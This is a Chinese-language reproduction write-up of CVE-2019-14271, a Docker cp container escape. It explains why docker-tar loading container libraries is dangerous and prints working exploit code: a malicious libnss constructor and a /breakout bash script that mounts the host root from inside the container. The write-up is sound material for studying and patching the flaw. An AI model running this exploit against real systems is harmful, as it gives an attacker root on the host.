CVE-2019-14271)Docker copy漏洞
一、漏洞簡介
二、漏洞影響
Docker 19.03.1
三、復現過程
Docker cp
Copy命令允許從容器、向容器中、或容器之間復制文件。語法與標準的unix cp命令非常相似。要從容器中復制/var/logs,語法是docker cp container_name:/var/logs /some/host/path。
從下圖所示,要從容器中將文件復制出去,Docker使用了一個名為docker-tar的幫助進程。
圖 1. 從容器中復制文件
docker-tar是通過chroot到容器,將請求的文件或目錄存檔,然后將生成的tar文件傳遞給Docker daemon,然后由daemon提取到主機的目標目錄中。
注釋:CHROOT就是Change Root,也就是改變程序執行時所參考的根目錄位置。CHROOT可以增進系統的安全性,限制使用者能做的事。
圖 2. docker-tar chroot到容器中
Chroot主要是為了避免系統鏈接的問題,當主機進程嘗試訪問容器中的文件時就可能會引發系統鏈接問題。如果訪問的文件中有系統鏈接,就會解析到host root。因此,攻擊者控制的容器就可以嘗試和誘使docker cp在主機而非容器上讀寫文件。去年有許多Docker和Podman相關的系統鏈接CVE漏洞。通過chroot到容器的root,docker-tar可以確保所有系統鏈接都可以高效地解析。
但,chroot到容器然后從容器中復制文件可能會引發很嚴重的安全問題。
CVE-2019-14271
Docker是用Golang語言編寫。有漏洞的Docker版本是用Go v1.11編譯的。在該版本中,一些含有嵌入C代碼(cgo)的包會在運行時動態加載共享的庫。這些包包括net和os/user,都是docker-tar使用的,而且在運行時會加載多個libnss_*.so庫。一般來說,庫是從host文件系統加載的,但因為docker-tarchroot到了容器,因此會從容器文件系統中加載庫。也就是說docker-tat會加載和執行來源于容器或由容器控制的代碼。
需要說明的是,除了chroot到容器文件系統外,docker-tar并沒有被容器化。它是在host命名空間運行的,權限為root全新且不受限于cgroups或seccomp。因此,通過注入代碼到docker-tar,惡意容器就可以獲取host主機的完全root訪問權限。
可能的攻擊場景有Docker用戶從另一個Docker處復制文件:
容器運行含有惡意libnss_*.so庫的鏡像
容器中含有被攻擊者替換的libnss_*.so庫
在這兩種情況下,攻擊者都可以獲取主機上的root代碼執行權限。
漏洞利用
為利用該漏洞,研究人員需要先創建一個惡意libnss庫。研究人員隨意選擇了libnss_files.so文件,下載了庫函數的源碼,并在代碼中加入了一個函數——run_at_link()。研究人員還為該函數定義了constructor屬性。constructor屬性表明run_at_link函數在進程加載時會作為庫的初始化函數執行。也就是說,當Docker-tar進程動態加載惡意庫時,run_at_link函數就會執行。下面是run_at_link的代碼:
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork())
{
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}
查/proc目錄完成的。如果run_at_link運行在docker-tar環境下,那么目錄就是空的,因為procfs掛載在/proc上只存在于容器的mount命名空間。
然后,run_at_link會用惡意libnss庫替換原始庫。這保證了漏洞利用運行的隨后進程不會意外加載惡意版本,并觸發run_at_link執行。
為簡化該漏洞利用,run_at_link會嘗試在容器的/breakout路徑下運行可執行文件。這樣漏洞利用的其他部分就可以用bash寫入,而非C語言。讓邏輯的其他部分在run_at_link外,意味著在漏洞利用每次變化后無需重新編譯惡意庫,只需改變breakout二進制文件就可以了。
利用CVE-2019-14271打破Docker
在該漏洞視頻中,Docker用戶會運行含有惡意libnss_files.so的惡意鏡像,然后嘗試從容器中復制一些日志。鏡像中的/breakout二進制文件是一個簡單的bash腳步,會掛載host文件系統到/host_fs的容器中,并將消息寫入host的/evil目錄。 /breakout腳本代碼如下:
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount the host's procfs over /proc
cd /proc/1/root # chdir to host's root
mount --bind . /host_fs # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil